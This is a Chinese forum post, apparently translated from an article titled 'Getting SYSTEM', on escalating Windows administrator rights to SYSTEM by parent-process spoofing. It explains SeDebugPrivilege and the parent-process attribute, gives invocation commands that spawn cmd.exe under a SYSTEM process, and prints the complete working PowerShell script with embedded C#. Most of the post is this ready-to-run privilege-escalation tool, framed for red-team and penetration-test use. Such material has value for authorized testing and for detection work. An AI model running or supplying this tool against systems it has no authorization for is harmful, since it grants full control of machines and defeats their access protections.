找回密码
 注册

QQ登录

只需一步,快速开始

扫一扫,访问微社区

  • QQ空间
  • 回复
  • 收藏

© Arry 管理员   /  2018-3-19 02:04  /   0 人收藏

利用Powershell获取System权限

     
     充当红队(红蓝对抗)或者渗透测试活动的时候,能努力获取系统的System权限总是咱们的终极目标。System用户是个特殊的系统操作用户,具备高权限,非常方便后渗透的技术施展。

     当然,为获取System权限,你要么是administrators管理员组一员,要么使用一些特别的token窃取或伪造技术(例如:Thelonely potato),要么通过一些未修补的漏洞利用等等姿势。

     如果你有administrator 管理员权限,那么有一堆技术或者工具能帮你快速提权。最常用的估计就是来自Sysinternals出品大名鼎鼎的“psexec , 当然也有其他的工具,譬如说基于命名管道或者令牌模拟的。我估摸着各位都用过meterpreter命令行下的“getsystem 命令。

     本文中我会告诉大家如何使用“父进程”技术。当然了,没啥新东西,我只是想通过简短精练的Powershell脚本就能实现一切功能
先来灌输点理论知识:通常来说,当一个进程推出一个子进程,那么它本身就成为了子进程的父进程。然而从Windows Vista时代就可以通过技术手段去改变这个行为。如果我们创建一个新的进程,也设置为父进程属性,那么子进程将继承指定父进程的令牌。所以,如果我们创建一个新进程,把父进程的pid设置成具备System权限的进程,然后你懂的!
     当然,为了能够从父进程句柄创建一个另外的进程,我们需要提示权限,通过采用管理员才有的seDebugPrivilege权限。当然得记住这个权限可用的条件是在已经提升特权的命令提示行下。使用下面命令验证一下:
  1. PS>whoami /priv
复制代码
     上面讲完的理论知识,下面我们来结合WindowsAPI实现我们的提权小目标

     首先我们需要在STARTUPINFO结构里创建一个属性,获取父System进程的句柄并且告知CreateProcess()去使用这些额外的信息。


     使用C++或者C#应该相对简单,对powershell来说是个比较复杂的过程,所以我打算在我的my .ps1脚本里面嵌入C#。你知道的,可以从powershell里面执行C#代码。

     脚本我已经开源到GitHubhttps://github.com/decoder-it/psgetsystem (脚本已贴在文末)

     在一个较高权限的Powershell命令行下执行:
  1. PS> . .\psgetsys.ps1
  2. PS> [MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>)

复制代码
     我们也可以在脚本末尾增加“autoinvoke :
  1. Add-Type -TypeDefinition $mycode
  2. [MyProcess]::CreateProcessFromParent($args[0],$args[1])
复制代码

     然后来引用它:
  1. .\psgetsys.ps1 808 c:\windows\system32\cmd.exe
复制代码

最后但同样重要问题:如果SeDebugPrivilege并没有开启怎么办?

翻译者:安识科技小王子
翻译原文:《Getting SYSTEM》
脚本:
  1. #Simple powershell/C# to spawn a process under a different parent process

  2. #usage: import-module psgetsys.ps1;  [MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>)

  3. $mycode = @"

  4. using System;

  5. using System.Diagnostics;

  6. using System.IO;

  7. using System.Runtime.InteropServices;

  8. public class MyProcess

  9. {

  10.     [DllImport("kernel32.dll")]

  11.     [return: MarshalAs(UnmanagedType.Bool)]

  12.     static extern bool CreateProcess(

  13.         string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,

  14.         ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags,

  15.         IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo,

  16.         out PROCESS_INFORMATION lpProcessInformation);

  17.     [DllImport("kernel32.dll", SetLastError = true)]

  18.     [return: MarshalAs(UnmanagedType.Bool)]

  19.     private static extern bool UpdateProcThreadAttribute(

  20.         IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue,

  21.         IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);

  22.     [DllImport("kernel32.dll", SetLastError = true)]

  23.     [return: MarshalAs(UnmanagedType.Bool)]

  24.     private static extern bool InitializeProcThreadAttributeList(

  25.         IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);

  26.     [DllImport("kernel32.dll", SetLastError = true)]

  27.     [return: MarshalAs(UnmanagedType.Bool)]

  28.     private static extern bool DeleteProcThreadAttributeList(IntPtr lpAttributeList);

  29.     [DllImport("kernel32.dll", SetLastError = true)]

  30.     static extern bool CloseHandle(IntPtr hObject);

  31.    

  32.         [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]

  33.     struct STARTUPINFOEX

  34.     {

  35.         public STARTUPINFO StartupInfo;

  36.         public IntPtr lpAttributeList;

  37.     }

  38.     [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]

  39.     struct STARTUPINFO

  40.     {

  41.         public Int32 cb;

  42.         public string lpReserved;

  43.         public string lpDesktop;

  44.         public string lpTitle;

  45.         public Int32 dwX;

  46.         public Int32 dwY;

  47.         public Int32 dwXSize;

  48.         public Int32 dwYSize;

  49.         public Int32 dwXCountChars;

  50.         public Int32 dwYCountChars;

  51.         public Int32 dwFillAttribute;

  52.         public Int32 dwFlags;

  53.         public Int16 wShowWindow;

  54.         public Int16 cbReserved2;

  55.         public IntPtr lpReserved2;

  56.         public IntPtr hStdInput;

  57.         public IntPtr hStdOutput;

  58.         public IntPtr hStdError;

  59.     }

  60.     [StructLayout(LayoutKind.Sequential)]

  61.     internal struct PROCESS_INFORMATION

  62.     {

  63.         public IntPtr hProcess;

  64.         public IntPtr hThread;

  65.         public int dwProcessId;

  66.         public int dwThreadId;

  67.     }

  68.     [StructLayout(LayoutKind.Sequential)]

  69.     public struct SECURITY_ATTRIBUTES

  70.     {

  71.         public int nLength;

  72.         public IntPtr lpSecurityDescriptor;

  73.         public int bInheritHandle;

  74.     }

  75. public static void CreateProcessFromParent(int ppid, string command)

  76.     {

  77.         const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;

  78.         const uint CREATE_NEW_CONSOLE = 0x00000010;

  79. const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000;

  80.         var pi = new PROCESS_INFORMATION();

  81.         var si = new STARTUPINFOEX();

  82.         si.StartupInfo.cb = Marshal.SizeOf(si);

  83.         IntPtr lpValue = IntPtr.Zero;

  84.         try

  85.         {

  86.             

  87.             var lpSize = IntPtr.Zero;

  88.             InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);

  89.             si.lpAttributeList = Marshal.AllocHGlobal(lpSize);

  90.             InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, ref lpSize);

  91.             var phandle = Process.GetProcessById(ppid).Handle;

  92.             lpValue = Marshal.AllocHGlobal(IntPtr.Size);

  93.             Marshal.WriteIntPtr(lpValue, phandle);

  94.             UpdateProcThreadAttribute(

  95.                 si.lpAttributeList,

  96.                 0,

  97.                 (IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,

  98.                 lpValue,

  99.                 (IntPtr)IntPtr.Size,

  100.                 IntPtr.Zero,

  101.                 IntPtr.Zero);

  102.             

  103.                   

  104.             var pattr = new SECURITY_ATTRIBUTES();

  105.             var tattr = new SECURITY_ATTRIBUTES();

  106.             pattr.nLength = Marshal.SizeOf(pattr);

  107.             tattr.nLength = Marshal.SizeOf(tattr);

  108.             Console.Write("Starting: " + command  + "...");

  109. var b= CreateProcess(command, null, ref pattr, ref tattr, false,EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, IntPtr.Zero, null, ref si, out pi);

  110. Console.WriteLine(b);

  111.         }

  112.         finally

  113.         {

  114.             

  115.             if (si.lpAttributeList != IntPtr.Zero)

  116.             {

  117.                 DeleteProcThreadAttributeList(si.lpAttributeList);

  118.                 Marshal.FreeHGlobal(si.lpAttributeList);

  119.             }

  120.             Marshal.FreeHGlobal(lpValue);

  121.             

  122.             if (pi.hProcess != IntPtr.Zero)

  123.             {

  124.                 CloseHandle(pi.hProcess);

  125.             }

  126.             if (pi.hThread != IntPtr.Zero)

  127.             {

  128.                 CloseHandle(pi.hThread);

  129.             }

  130.         }

  131.     }

  132. }

  133. "@

  134. Add-Type -TypeDefinition $mycode

  135. #Autoinvoke?

  136. #MyProcess]::CreateProcessFromParent($args[0],$args[1])
复制代码
转自安全脉搏 作者安识科技



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?注册

x
发表评论
您需要登录后才可以回帖 登录 | 注册